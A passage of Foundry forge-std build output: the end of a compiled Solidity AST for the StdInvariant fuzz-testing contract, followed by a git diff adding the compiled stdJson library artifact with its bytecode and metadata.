ref)"}},"id":6549,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1974:47:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6550,"nodeType":"ExpressionStatement","src":"1974:47:5"}]},"implemented":true,"kind":"function","modifiers":[],"name":"targetInterface","nameLocation":"1895:15:5","parameters":{"id":6543,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6542,"mutability":"mutable","name":"newTargetedInterface_","nameLocation":"1932:21:5","nodeType":"VariableDeclaration","scope":6552,"src":"1911:42:5","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_FuzzInterface_$6411_memory_ptr","typeString":"struct StdInvariant.FuzzInterface"},"typeName":{"id":6541,"nodeType":"UserDefinedTypeName","pathNode":{"id":6540,"name":"FuzzInterface","nameLocations":["1911:13:5"],"nodeType":"IdentifierPath","referencedDeclaration":6411,"src":"1911:13:5"},"referencedDeclaration":6411,"src":"1911:13:5","typeDescriptions":{"typeIdentifier":"t_struct$_FuzzInterface_$6411_storage_ptr","typeString":"struct StdInvariant.FuzzInterface"}},"visibility":"internal"}],"src":"1910:44:5"},"returnParameters":{"id":6544,"nodeType":"ParameterList","parameters":[],"src":"1964:0:5"},"scope":6655,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":6563,"nodeType":"FunctionDefinition","src":"2157:141:5","nodes":[],"body":{"id":6562,"nodeType":"Block","src":"2242:56:5","nodes":[],"statements":[{"expression":{"id":6560,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":6558,"name":"excludedArtifacts_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6556,"src":"2252:18:5","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":6559,"name":"_excludedArtifacts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6426,"src":"2273:18:5","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage","typeString":"string storage ref[] storage ref"}},"src":"2252:39:5","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},"id":6561,"nodeType":"ExpressionStatement","src":"2252:39:5"}]},"functionSelector":"b5508aa9","implemented":true,"kind":"function","modifiers":[],"name":"excludeArtifacts","nameLocation":"2166:16:5","parameters":{"id":6553,"nodeType":"ParameterList","parameters":[],"src":"2182:2:5"},"returnParameters":{"id":6557,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6556,"mutability":"mutable","name":"excludedArtifacts_","nameLocation":"2222:18:5","nodeType":"VariableDeclaration","scope":6563,"src":"2206:34:5","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":6554,"name":"string","nodeType":"ElementaryTypeName","src":"2206:6:5","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":6555,"nodeType":"ArrayTypeName","src":"2206:8:5","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"2205:36:5"},"scope":6655,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":6574,"nodeType":"FunctionDefinition","src":"2304:142:5","nodes":[],"body":{"id":6573,"nodeType":"Block","src":"2390:56:5","nodes":[],"statements":[{"expression":{"id":6571,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":6569,"name":"excludedContracts_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6567,"src":"2400:18:5","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":6570,"name":"_excludedContracts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6414,"src":"2421:18:5","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"src":"2400:39:5","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[] memory"}},"id":6572,"nodeType":"ExpressionStatement","src":"2400:39:5"}]},"functionSelector":"e20c9f71","implemented":true,"kind":"function","modifiers":[],"name":"excludeContracts","nameLocation":"2313:16:5","parameters":{"id":6564,"nodeType":"ParameterList","parameters":[],"src":"2329:2:5"},"returnParameters":{"id":6568,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6567,"mutability":"mutable","name":"excludedContracts_","nameLocation":"2370:18:5","nodeType":"VariableDeclaration","scope":6574,"src":"2353:35:5","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":6565,"name":"address","nodeType":"ElementaryTypeName","src":"2353:7:5","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":6566,"nodeType":"ArrayTypeName","src":"2353:9:5","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"2352:37:5"},"scope":6655,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":6585,"nodeType":"FunctionDefinition","src":"2452:134:5","nodes":[],"body":{"id":6584,"nodeType":"Block","src":"2534:52:5","nodes":[],"statements":[{"expression":{"id":6582,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":6580,"name":"excludedSenders_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6578,"src":"2544:16:5","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":6581,"name":"_excludedSenders","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6417,"src":"2563:16:5","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"src":"2544:35:5","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[] memory"}},"id":6583,"nodeType":"ExpressionStatement","src":"2544:35:5"}]},"functionSelector":"1ed7831c","implemented":true,"kind":"function","modifiers":[],"name":"excludeSenders","nameLocation":"2461:14:5","parameters":{"id":6575,"nodeType":"ParameterList","parameters":[],"src":"2475:2:5"},"returnParameters":{"id":6579,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6578,"mutability":"mutable","name":"excludedSenders_","nameLocation":"2516:16:5","nodeType":"VariableDeclaration","scope":6585,"src":"2499:33:5","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":6576,"name":"address","nodeType":"ElementaryTypeName","src":"2499:7:5","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":6577,"nodeType":"ArrayTypeName","src":"2499:9:5","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"2498:35:5"},"scope":6655,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":6596,"nodeType":"FunctionDefinition","src":"2592:140:5","nodes":[],"body":{"id":6595,"nodeType":"Block","src":"2676:56:5","nodes":[],"statements":[{"expression":{"id":6593,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":6591,"name":"targetedArtifacts_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6589,"src":"2686:18:5","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":6592,"name":"_targetedArtifacts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6429,"src":"2707:18:5","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage","typeString":"string storage ref[] storage ref"}},"src":"2686:39:5","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},"id":6594,"nodeType":"ExpressionStatement","src":"2686:39:5"}]},"functionSelector":"85226c81","implemented":true,"kind":"function","modifiers":[],"name":"targetArtifacts","nameLocation":"2601:15:5","parameters":{"id":6586,"nodeType":"ParameterList","parameters":[],"src":"2616:2:5"},"returnParameters":{"id":6590,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6589,"mutability":"mutable","name":"targetedArtifacts_","nameLocation":"2656:18:5","nodeType":"VariableDeclaration","scope":6596,"src":"2640:34:5","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":6587,"name":"string","nodeType":"ElementaryTypeName","src":"2640:6:5","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":6588,"nodeType":"ArrayTypeName","src":"2640:8:5","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"2639:36:5"},"scope":6655,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":6608,"nodeType":"FunctionDefinition","src":"2738:178:5","nodes":[],"body":{"id":6607,"nodeType":"Block","src":"2844:72:5","nodes":[],"statements":[{"expression":{"id":6605,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":6603,"name":"targetedArtifactSelectors_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6601,"src":"2854:26:5","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_FuzzSelector_$6405_memory_ptr_$dyn_memory_ptr","typeString":"struct StdInvariant.FuzzSelector memory[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":6604,"name":"_targetedArtifactSelectors","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6433,"src":"2883:26:5","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_FuzzSelector_$6405_storage_$dyn_storage","typeString":"struct StdInvariant.FuzzSelector storage ref[] storage ref"}},"src":"2854:55:5","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_FuzzSelector_$6405_memory_ptr_$dyn_memory_ptr","typeString":"struct StdInvariant.FuzzSelector memory[] memory"}},"id":6606,"nodeType":"ExpressionStatement","src":"2854:55:5"}]},"functionSelector":"66d9a9a0","implemented":true,"kind":"function","modifiers":[],"name":"targetArtifactSelectors","nameLocation":"2747:23:5","parameters":{"id":6597,"nodeType":"ParameterList","parameters":[],"src":"2770:2:5"},"returnParameters":{"id":6602,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6601,"mutability":"mutable","name":"targetedArtifactSelectors_","nameLocation":"2816:26:5","nodeType":"VariableDeclaration","scope":6608,"src":"2794:48:5","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_FuzzSelector_$6405_memory_ptr_$dyn_memory_ptr","typeString":"struct StdInvariant.FuzzSelector[]"},"typeName":{"baseType":{"id":6599,"nodeType":"UserDefinedTypeName","pathNode":{"id":6598,"name":"FuzzSelector","nameLocations":["2794:12:5"],"nodeType":"IdentifierPath","referencedDeclaration":6405,"src":"2794:12:5"},"referencedDeclaration":6405,"src":"2794:12:5","typeDescriptions":{"typeIdentifier":"t_struct$_FuzzSelector_$6405_storage_ptr","typeString":"struct StdInvariant.FuzzSelector"}},"id":6600,"nodeType":"ArrayTypeName","src":"2794:14:5","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_FuzzSelector_$6405_storage_$dyn_storage_ptr","typeString":"struct StdInvariant.FuzzSelector[]"}},"visibility":"internal"}],"src":"2793:50:5"},"scope":6655,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":6619,"nodeType":"FunctionDefinition","src":"2922:141:5","nodes":[],"body":{"id":6618,"nodeType":"Block","src":"3007:56:5","nodes":[],"statements":[{"expression":{"id":6616,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":6614,"name":"targetedContracts_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6612,"src":"3017:18:5","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":6615,"name":"_targetedContracts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6420,"src":"3038:18:5","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"src":"3017:39:5","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[] memory"}},"id":6617,"nodeType":"ExpressionStatement","src":"3017:39:5"}]},"functionSelector":"3f7286f4","implemented":true,"kind":"function","modifiers":[],"name":"targetContracts","nameLocation":"2931:15:5","parameters":{"id":6609,"nodeType":"ParameterList","parameters":[],"src":"2946:2:5"},"returnParameters":{"id":6613,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6612,"mutability":"mutable","name":"targetedContracts_","nameLocation":"2987:18:5","nodeType":"VariableDeclaration","scope":6619,"src":"2970:35:5","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":6610,"name":"address","nodeType":"ElementaryTypeName","src":"2970:7:5","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":6611,"nodeType":"ArrayTypeName","src":"2970:9:5","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"2969:37:5"},"scope":6655,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":6631,"nodeType":"FunctionDefinition","src":"3069:146:5","nodes":[],"body":{"id":6630,"nodeType":"Block","src":"3159:56:5","nodes":[],"statements":[{"expression":{"id":6628,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":6626,"name":"targetedSelectors_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6624,"src":"3169:18:5","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_FuzzSelector_$6405_memory_ptr_$dyn_memory_ptr","typeString":"struct StdInvariant.FuzzSelector memory[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":6627,"name":"_targetedSelectors","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6437,"src":"3190:18:5","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_FuzzSelector_$6405_storage_$dyn_storage","typeString":"struct StdInvariant.FuzzSelector storage ref[] storage ref"}},"src":"3169:39:5","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_FuzzSelector_$6405_memory_ptr_$dyn_memory_ptr","typeString":"struct StdInvariant.FuzzSelector memory[] memory"}},"id":6629,"nodeType":"ExpressionStatement","src":"3169:39:5"}]},"functionSelector":"916a17c6","implemented":true,"kind":"function","modifiers":[],"name":"targetSelectors","nameLocation":"3078:15:5","parameters":{"id":6620,"nodeType":"ParameterList","parameters":[],"src":"3093:2:5"},"returnParameters":{"id":6625,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6624,"mutability":"mutable","name":"targetedSelectors_","nameLocation":"3139:18:5","nodeType":"VariableDeclaration","scope":6631,"src":"3117:40:5","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_FuzzSelector_$6405_memory_ptr_$dyn_memory_ptr","typeString":"struct StdInvariant.FuzzSelector[]"},"typeName":{"baseType":{"id":6622,"nodeType":"UserDefinedTypeName","pathNode":{"id":6621,"name":"FuzzSelector","nameLocations":["3117:12:5"],"nodeType":"IdentifierPath","referencedDeclaration":6405,"src":"3117:12:5"},"referencedDeclaration":6405,"src":"3117:12:5","typeDescriptions":{"typeIdentifier":"t_struct$_FuzzSelector_$6405_storage_ptr","typeString":"struct StdInvariant.FuzzSelector"}},"id":6623,"nodeType":"ArrayTypeName","src":"3117:14:5","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_FuzzSelector_$6405_storage_$dyn_storage_ptr","typeString":"struct StdInvariant.FuzzSelector[]"}},"visibility":"internal"}],"src":"3116:42:5"},"scope":6655,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":6642,"nodeType":"FunctionDefinition","src":"3221:133:5","nodes":[],"body":{"id":6641,"nodeType":"Block","src":"3302:52:5","nodes":[],"statements":[{"expression":{"id":6639,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":6637,"name":"targetedSenders_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6635,"src":"3312:16:5","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":6638,"name":"_targetedSenders","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6423,"src":"3331:16:5","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"src":"3312:35:5","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[] memory"}},"id":6640,"nodeType":"ExpressionStatement","src":"3312:35:5"}]},"functionSelector":"3e5e3c23","implemented":true,"kind":"function","modifiers":[],"name":"targetSenders","nameLocation":"3230:13:5","parameters":{"id":6632,"nodeType":"ParameterList","parameters":[],"src":"3243:2:5"},"returnParameters":{"id":6636,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6635,"mutability":"mutable","name":"targetedSenders_","nameLocation":"3284:16:5","nodeType":"VariableDeclaration","scope":6642,"src":"3267:33:5","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":6633,"name":"address","nodeType":"ElementaryTypeName","src":"3267:7:5","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":6634,"nodeType":"ArrayTypeName","src":"3267:9:5","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"3266:35:5"},"scope":6655,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":6654,"nodeType":"FunctionDefinition","src":"3360:151:5","nodes":[],"body":{"id":6653,"nodeType":"Block","src":"3453:58:5","nodes":[],"statements":[{"expression":{"id":6651,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":6649,"name":"targetedInterfaces_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6647,"src":"3463:19:5","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_FuzzInterface_$6411_memory_ptr_$dyn_memory_ptr","typeString":"struct StdInvariant.FuzzInterface memory[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":6650,"name":"_targetedInterfaces","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6441,"src":"3485:19:5","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_FuzzInterface_$6411_storage_$dyn_storage","typeString":"struct StdInvariant.FuzzInterface storage ref[] storage ref"}},"src":"3463:41:5","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_FuzzInterface_$6411_memory_ptr_$dyn_memory_ptr","typeString":"struct StdInvariant.FuzzInterface memory[] memory"}},"id":6652,"nodeType":"ExpressionStatement","src":"3463:41:5"}]},"functionSelector":"2ade3880","implemented":true,"kind":"function","modifiers":[],"name":"targetInterfaces","nameLocation":"3369:16:5","parameters":{"id":6643,"nodeType":"ParameterList","parameters":[],"src":"3385:2:5"},"returnParameters":{"id":6648,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6647,"mutability":"mutable","name":"targetedInterfaces_","nameLocation":"3432:19:5","nodeType":"VariableDeclaration","scope":6654,"src":"3409:42:5","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_FuzzInterface_$6411_memory_ptr_$dyn_memory_ptr","typeString":"struct StdInvariant.FuzzInterface[]"},"typeName":{"baseType":{"id":6645,"nodeType":"UserDefinedTypeName","pathNode":{"id":6644,"name":"FuzzInterface","nameLocations":["3409:13:5"],"nodeType":"IdentifierPath","referencedDeclaration":6411,"src":"3409:13:5"},"referencedDeclaration":6411,"src":"3409:13:5","typeDescriptions":{"typeIdentifier":"t_struct$_FuzzInterface_$6411_storage_ptr","typeString":"struct StdInvariant.FuzzInterface"}},"id":6646,"nodeType":"ArrayTypeName","src":"3409:15:5","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_FuzzInterface_$6411_storage_$dyn_storage_ptr","typeString":"struct StdInvariant.FuzzInterface[]"}},"visibility":"internal"}],"src":"3408:44:5"},"scope":6655,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":true,"baseContracts":[],"canonicalName":"StdInvariant","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[6655],"name":"StdInvariant","nameLocation":"118:12:5","scope":6656,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":5} \ No newline at end of file diff --git a/contracts/out/StdJson.sol/stdJson.json b/contracts/out/StdJson.sol/stdJson.json new file mode 100644 index 000000000..edc2de4e3 --- /dev/null +++ b/contracts/out/StdJson.sol/stdJson.json @@ -0,0 +1 @@ +{"abi":[],"bytecode":{"object":"0x60556032600b8282823980515f1a607314602657634e487b7160e01b5f525f60045260245ffd5b305f52607381538281f3fe730000000000000000000000000000000000000000301460806040525f80fdfea2646970667358221220f6c8febc4aa49090ae7904df724f54c4dde289020f0fb60d1607c41edd4128e764736f6c63430008180033","sourceMap":"610:5612:6:-:0;;;;;;;;;;;;;;;-1:-1:-1;;;610:5612:6;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x730000000000000000000000000000000000000000301460806040525f80fdfea2646970667358221220f6c8febc4aa49090ae7904df724f54c4dde289020f0fb60d1607c41edd4128e764736f6c63430008180033","sourceMap":"610:5612:6:-:0;;;;;;;;","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/StdJson.sol\":\"stdJson\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/StdJson.sol":"stdJson"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/StdJson.sol","id":7248,"exportedSymbols":{"VmSafe":[15098],"stdJson":[7247]},"nodeType":"SourceUnit","src":"32:6191:6","nodes":[{"id":6657,"nodeType":"PragmaDirective","src":"32:31:6","nodes":[],"literals":["solidity",">=","0.6",".0","<","0.9",".0"]},{"id":6658,"nodeType":"PragmaDirective","src":"65:33:6","nodes":[],"literals":["experimental","ABIEncoderV2"]},{"id":6660,"nodeType":"ImportDirective","src":"100:32:6","nodes":[],"absolutePath":"lib/forge-std/src/Vm.sol","file":"./Vm.sol","nameLocation":"-1:-1:-1","scope":7248,"sourceUnit":15674,"symbolAliases":[{"foreign":{"id":6659,"name":"VmSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15098,"src":"108:6:6","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":7247,"nodeType":"ContractDefinition","src":"610:5612:6","nodes":[{"id":6677,"nodeType":"VariableDeclaration","src":"632:92:6","nodes":[],"constant":true,"mutability":"constant","name":"vm","nameLocation":"656:2:6","scope":7247,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"},"typeName":{"id":6662,"nodeType":"UserDefinedTypeName","pathNode":{"id":6661,"name":"VmSafe","nameLocations":["632:6:6"],"nodeType":"IdentifierPath","referencedDeclaration":15098,"src":"632:6:6"},"referencedDeclaration":15098,"src":"632:6:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"value":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"hexValue":"6865766d20636865617420636f6465","id":6671,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"702:17:6","typeDescriptions":{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""},"value":"hevm cheat code"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""}],"id":6670,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"692:9:6","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns 